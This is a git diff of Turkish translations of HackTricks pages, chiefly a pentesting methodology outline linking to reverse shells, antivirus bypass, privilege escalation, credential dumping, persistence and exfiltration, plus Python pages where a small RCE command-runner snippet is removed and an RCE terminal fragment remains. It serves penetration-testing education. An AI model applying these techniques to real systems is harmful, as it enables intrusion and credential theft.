-Ayrıca, [**yazılımlardaki bilinen zafiyetleri nasıl bulacağınıza dair küçük bir kılavuz burada bulunabilir**](search-exploits.md).
+**Özellikle [**Pentesting Web**](../network-services-pentesting/pentesting-web/) bölümüne** dikkat çekmek istiyorum (çünkü en kapsamlı olanıdır).**\
+Ayrıca, [**yazılımlardaki bilinen zafiyetleri nasıl bulacağınıza dair küçük bir kılavuz burada bulunabilir.**](search-exploits.md)
-**Servisiniz indekste yoksa, Google'da arayın** başka rehberler ve **eklememi isterseniz bana bildirin.** Google'da **hiçbir şey bulamazsanız**, kendi **kör pentestinizi** gerçekleştirin, servise **bağlanmaya başlayarak, onu fuzzing yaparak ve yanıtları okuyarak** başlayabilirsiniz (varsa).
+**Servisiniz indekste yoksa, Google'da arayın** diğer öğreticiler için ve **eklememi isterseniz bana bildirin.** Google'da **hiçbir şey bulamazsanız**, kendi **kör pentestinizi** gerçekleştirin, servise **bağlanmaya başlayarak, onu fuzzing yaparak ve yanıtları okuyarak** başlayabilirsiniz (varsa).
#### 5.1 Otomatik Araçlar
-**Otomatik zafiyet değerlendirmeleri** gerçekleştirebilecek birkaç araç da bulunmaktadır. **Size** [**Legion**](https://github.com/carlospolop/legion)**'ı denemenizi tavsiye ederim**, bu araç, bu kitapta bulabileceğiniz servisler hakkındaki notlara dayanmaktadır.
+**Otomatik zafiyet değerlendirmeleri** gerçekleştirebilen birkaç araç da bulunmaktadır. **Size** [**Legion**](https://github.com/carlospolop/legion)**'ı denemenizi tavsiye ederim**, bu araç, bu kitapta bulabileceğiniz servislerin pentest notlarına dayanmaktadır.
#### **5.2 Servislerin Kaba Kuvvet Saldırısı**
-Bazı senaryolarda bir **Kaba Kuvvet Saldırısı**, bir **servisi ele geçirmek** için **yararlı olabilir**. [**Farklı servislerin kaba kuvvet saldırısı hakkında bir Hile Sayfası bulun**](brute-force.md)**.**
+Bazı senaryolarda bir **Kaba Kuvvet Saldırısı**, bir **servisi ele geçirmek** için yararlı olabilir. [**Farklı servislerin kaba kuvvet saldırısına yönelik bir Hile Sayfasını burada bulabilirsiniz**](brute-force.md)**.**
### 6- [Phishing](phishing-methodology/)
@@ -76,13 +76,13 @@ Bu noktada ilginç bir zafiyet bulamadıysanız, ağa girmek için bazı **phish
### **7-** [**Shell Almak**](shells/)
-Herhangi bir şekilde kurbanın içinde **kod çalıştırmak için bir yol bulmuş olmalısınız.** Ardından, **ters shell almak için kullanabileceğiniz olası araçların bir listesi çok faydalı olacaktır** (shells/).
+Herhangi bir şekilde kurbanın içinde kod **yürütebileceğiniz bir yol bulmuş olmalısınız.** Ardından, bir ters shell almak için kullanabileceğiniz **sistem içindeki olası araçların listesi çok faydalı olacaktır** (shells/).
Özellikle Windows'ta **antivirüsleri atlatmaya yardıma ihtiyacınız olabilir**: [**Bu sayfaya göz atın**](../windows-hardening/av-bypass.md)**.**\\
### 8- İçeride
-Shell ile sorun yaşıyorsanız, pentesterlar için en kullanışlı komutların küçük bir **derlemesini burada bulabilirsiniz**:
+Shell ile sorun yaşıyorsanız, pentesterlar için en **faydalı komutların küçük bir derlemesini burada bulabilirsiniz**:
* [**Linux**](../linux-hardening/useful-linux-commands/)
* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
@@ -90,37 +90,37 @@ Shell ile sorun yaşıyorsanız, pentesterlar için en kullanışlı komutların
### **9 -** [**Veri Sızdırma**](exfiltration.md)
-Muhtemelen **kurbandan bazı verileri çıkarmak** veya hatta **bir şeyler eklemek** (ayrıcalık yükseltme betikleri gibi). **Bu amaçlarla kullanabileceğiniz yaygın araçlar hakkında bir** [**gönderi burada bulunabilir**](exfiltration.md)**.**
-### **10- Ayrıcalık Yükseltme**
+Kurbanın içinden **bazı verileri çıkarmak** veya hatta **bir şeyler eklemek** (ayrıcalık yükseltme betikleri gibi). **Bu amaçlarla kullanabileceğiniz yaygın araçlar hakkında bir** [**gönderi burada bulunabilir**](exfiltration.md)**.**
+### **10- Yetki Yükseltme**
-#### **10.1- Yerel Ayrıcalık Yükseltme**
+#### **10.1- Yerel Yetki Yükseltme**
-Eğer kutunun içinde **root/Yönetici değilseniz**, ayrıcalıkları **yükseltmek için bir yol bulmalısınız.**\
-Burada, [**Linux**](../linux-hardening/privilege-escalation/) **ve** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **içinde yerel olarak ayrıcalıkları yükseltmek için bir rehber bulabilirsiniz.**\
-Ayrıca, **Windows'un nasıl çalıştığı** hakkında bu sayfaları kontrol etmelisiniz:
+Eğer kutunun içinde **root/Administrator değilseniz**, **yetkileri yükseltmek için bir yol bulmalısınız.**\
+Burada [**Linux**](../linux-hardening/privilege-escalation/) **ve** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **içinde yerel olarak yetkileri yükseltmek için bir rehber bulabilirsiniz.**\
+Ayrıca **Windows'un nasıl çalıştığı** hakkında bu sayfaları kontrol etmelisiniz:
-- [**Kimlik Doğrulama, Kimlik Bilgileri, Token ayrıcalıkları ve UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md)
-- [**NTLM'nin nasıl çalıştığı**](../windows-hardening/ntlm/)
-- Windows'ta [**kimlik bilgilerini çalma**](broken-reference/)
-- [_**Active Directory**_](../windows-hardening/active-directory-methodology/) hakkında bazı ipuçları
+* [**Kimlik Doğrulama, Kimlik Bilgileri, Token yetkileri ve UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md)
+* [**NTLM'nin nasıl çalıştığı**](../windows-hardening/ntlm/)
+* Windows'ta nasıl [**kimlik bilgileri çalınır**](broken-reference/)
+* [_**Active Directory**_](../windows-hardening/active-directory-methodology/) hakkında bazı ipuçları
-**Windows ve Linux yerel Ayrıcalık Yükseltme yollarını sıralamak için en iyi araçları kontrol etmeyi unutmayın:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
+**Windows ve Linux yerel Yetki Yükseltme yollarını sıralamak için en iyi araçları kontrol etmeyi unutmayın:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
-#### **10.2- Alan Ayrıcalığı Yükseltme**
+#### **10.2- Alan Yetki Yükseltme**
-Burada, [**Bir Active Directory'de ayrıcalıkları sıralamak, yükseltmek ve kalıcı olmak için en yaygın eylemleri açıklayan bir metodoloji bulabilirsiniz**](../windows-hardening/active-directory-methodology/). Bu, yalnızca bir bölümün alt bölümü olsa da, bu süreç bir Pentesting/Red Team görevinde **son derece hassas** olabilir.
+Burada [**Bir Active Directory'de numaralandırmak, yetkileri yükseltmek ve kalıcı olmak için en yaygın eylemleri açıklayan bir metodoloji bulabilirsiniz.**](../windows-hardening/active-directory-methodology/) Bu, yalnızca bir bölümün alt bölümü olsa da, bu süreç bir Pentesting/Red Team görevinde **son derece hassas** olabilir.
### 11 - POST
#### **11.1 - Yağmalama**
-Makinenin içinde daha fazla **şifre** bulup bulamayacağınızı kontrol edin veya **kullanıcı**nızın **yetkileriyle diğer makinelerde erişiminiz olup olmadığını** kontrol edin.\
-Windows'ta [**şifreleri dökmenin farklı yollarını burada bulabilirsiniz**](broken-reference/).
+Makinenin içinde daha fazla **şifre** bulabilir misiniz veya **kullanıcı**nızın **yetkileriyle diğer makinelerde erişiminiz var mı** kontrol edin.\
+Windows'ta [**şifreleri nasıl döküleceğine**](broken-reference/) dair farklı yolları burada bulabilirsiniz.
#### 11.2 - Kalıcılık
**Sistemi tekrar sömürmek zorunda kalmamak için 2 veya 3 farklı türde kalıcılık mekanizması kullanın.**\
-**Burada, Active Directory üzerindeki bazı** [**kalıcılık hilelerini bulabilirsiniz**](../windows-hardening/active-directory-methodology/#persistence)**.**
+**Burada** [**Active Directory'de kalıcılık hileleri bulabilirsiniz**](../windows-hardening/active-directory-methodology/#persistence)**.**
TODO: Windows ve Linux'ta Kalıcılık Post'unu tamamlayın
@@ -128,28 +128,28 @@ TODO: Windows ve Linux'ta Kalıcılık Post'unu tamamlayın
**Toplanan kimlik bilgileriyle** diğer makinelerde erişiminiz olabilir veya belki de kurbanınızın bağlı olduğu yeni ağlarda **yeni ana bilgisayarları keşfetmeniz gerekebilir** (Pentesting Metodolojisine tekrar başlayın).\
Bu durumda tünelleme gerekebilir. [**Tünelleme hakkında konuşan bir yazıyı burada bulabilirsiniz**](tunneling-and-port-forwarding.md).\
-Kesinlikle [Active Directory pentesting Metodolojisi](../windows-hardening/active-directory-methodology/) hakkındaki yazıyı da kontrol etmelisiniz. Orada yan yana hareket etmek, ayrıcalıkları yükseltmek ve kimlik bilgilerini dökmek için harika hileler bulacaksınız.\
+Kesinlikle [Active Directory pentesting Metodolojisi](../windows-hardening/active-directory-methodology/) hakkındaki yazıyı da kontrol etmelisiniz. Orada yan yana hareket etmek, yetkileri yükseltmek ve kimlik bilgileri dökmek için harika hileler bulacaksınız.\
Ayrıca [**NTLM**](../windows-hardening/ntlm/) hakkındaki sayfayı da kontrol edin, Windows ortamlarında dönüş yapmak için çok faydalı olabilir.
### DAHA FAZLA
#### [Android Uygulamaları](../mobile-pentesting/android-app-pentesting/)
-#### **Sömürü**
+#### **Sömürme**
-- [**Temel Linux Sömürüsü**](../exploiting/linux-exploiting-basic-esp/)
-- [**Temel Windows Sömürüsü**](../exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
-- [**Temel sömürü araçları**](../exploiting/tools/)
+* [**Temel Linux Sömürme**](../exploiting/linux-exploiting-basic-esp/)
+* [**Temel Windows Sömürme**](../exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
+* [**Temel sömürme araçları**](../exploiting/tools/)
#### [**Temel Python**](python/)
#### **Kripto hileleri**
-- [**ECB**](../cryptography/electronic-code-book-ecb.md)
-- [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md)
-- [**Padding Oracle**](../cryptography/padding-oracle-priv.md)
+* [**ECB**](../cryptography/electronic-code-book-ecb.md)
+* [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md)
+* [**Padding Oracle**](../cryptography/padding-oracle-priv.md)
-
+
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_).
@@ -161,10 +161,10 @@ Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek
HackTricks'ı desteklemenin diğer yolları:
-- **Şirketinizi HackTricks'te reklam görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
-- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-- [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
-- 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
-- **Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek destekleyin.
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
+* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar gönderin.
diff --git a/generic-methodologies-and-resources/python/README.md b/generic-methodologies-and-resources/python/README.md
index 2072f59ae..0fc332801 100644
--- a/generic-methodologies-and-resources/python/README.md
+++ b/generic-methodologies-and-resources/python/README.md
@@ -1,53 +1,53 @@
-# Python Sandbox Escape & Pyscript
+# Python Sandbox Kaçışı ve Pyscript
-AWS hacklemeyi sıfırdan kahraman olmak içinhtARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile öğrenin!
+Sıfırdan kahraman olmak için AWS hackleme öğreninhtARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'ı desteklemenin diğer yolları:
-* Şirketinizi HackTricks'te **reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
-* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
-* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin.
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'de takip edin.
-* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
**Kontrol etmek için ilginç sayfalar:**
-* [**Pyscript hackleme hileleri**](pyscript.md)
-* [**Python deserializasyonları**](../../pentesting-web/deserialization/#python)
-* [**Python sandbox'ları atlatma hileleri**](bypass-python-sandboxes/)
+* [**Pyscript hackleme püf noktaları**](pyscript.md)
+* [**Python serileştirmeleri**](../../pentesting-web/deserialization/#python)
+* [**Python sandbox'ları atlatma püf noktaları**](bypass-python-sandboxes/)
* [**Temel python web istekleri sözdizimi**](web-requests.md)
* [**Temel python sözdizimi ve kütüphaneleri**](basic-python.md)
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-AWS hacklemeyi sıfırdan kahraman olmak içinhtARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile öğrenin!
+Sıfırdan kahraman olmak için AWS hackleme öğreninhtARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'ı desteklemenin diğer yolları:
-* Şirketinizi HackTricks'te **reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
-* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
-* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin.
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'de takip edin.
-* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
diff --git a/generic-methodologies-and-resources/python/venv.md b/generic-methodologies-and-resources/python/venv.md
index a8ac913f4..6380fd869 100644
--- a/generic-methodologies-and-resources/python/venv.md
+++ b/generic-methodologies-and-resources/python/venv.md
@@ -2,22 +2,22 @@
-AWS hackleme becerilerinizi sıfırdan ileri seviyeye taşıyınhtARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
+AWS hackleme konusunda sıfırdan kahramana kadar öğreninhtARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
-* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'ı **takip edin**.
-* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
+* [**Resmi PEASS & HackTricks ürünlerine**](https://peass.creator-spring.com) göz atın
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
\
-Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen ve **iş akışlarını otomatikleştiren** kolayca oluşturun.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -39,24 +39,24 @@ is fixed running
pip3 install wheel
inside the virtual environment
```
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
+[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve yönetin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin!
+Sıfırdan kahramana kadar AWS hackleme öğreninhtARTE (HackTricks AWS Red Team Expert)!
-HackTricks'i desteklemenin diğer yolları:
+HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklam vermek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'ler**](https://opensea.io/collection/the-peass-family)
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'ı takip edin**.
-* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın.
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'ı takip edin.**
+* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar gönderin.
diff --git a/generic-methodologies-and-resources/python/web-requests.md b/generic-methodologies-and-resources/python/web-requests.md
index 134de3ec6..c9c328724 100644
--- a/generic-methodologies-and-resources/python/web-requests.md
+++ b/generic-methodologies-and-resources/python/web-requests.md
@@ -2,22 +2,22 @@
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!
+Sıfırdan kahraman olmaya kadar AWS hackleme öğreninhtARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile
-HackTricks'i desteklemenin diğer yolları:
+HackTricks'ı desteklemenin diğer yolları:
-* Şirketinizi HackTricks'te **reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'da **takip edin**.
-* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın.
+* [**The PEASS Ailesi**]'ni(https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'ler**]'imizi(https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
\
-Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)'i kullanın.\
+[**Trickest**]'i(https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen ve **iş akışlarını otomatikleştiren** kolayca oluşturun.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -90,25 +90,7 @@ return resp.json()
def get_random_string(guid, path):
return ''.join(random.choice(string.ascii_letters) for i in range(10))
```
-## RCE'yi sömürmek için Python cmd
-
-Bu yöntem, Uzaktan Kod Çalıştırma (RCE) zafiyetlerini sömürmek için Python'un cmd modülünü kullanır. Bu modül, komut satırı arayüzü sağlar ve hedef sistemde komutları çalıştırmak için kullanılabilir.
-
-```python
-import os
-
-def execute_command(command):
- result = os.popen(command).read()
- return result
-
-command = input("Komutu girin: ")
-output = execute_command(command)
-print(output)
-```
-
-Bu kod, kullanıcıdan bir komut girmesini ister ve ardından `os.popen()` fonksiyonunu kullanarak bu komutu hedef sistemde çalıştırır. Sonuç, `print()` fonksiyonuyla ekrana yazdırılır.
-
-Bu kodu kullanarak, hedef sistemde RCE zafiyetlerini sömürebilir ve komutları hedef sistemde çalıştırabilirsiniz. Ancak, bu tür bir saldırıyı gerçekleştirmeden önce yasal izinleri almanız ve yasal sınırlar içinde kalmanız önemlidir.
+## Bir Uzaktan Kod Çalıştırma (RCE) açığından yararlanmak için Python komutu
```python
import requests
import re
@@ -135,24 +117,24 @@ return 1
term = Terminal()
term.cmdloop()
```
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.\
+[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!
+Sıfırdan kahramana kadar AWS hackleme öğreninhtARTE (HackTricks AWS Red Team Expert)!
-HackTricks'i desteklemenin diğer yolları:
+HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklam vermek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) görün
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'ı takip edin.**
-* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
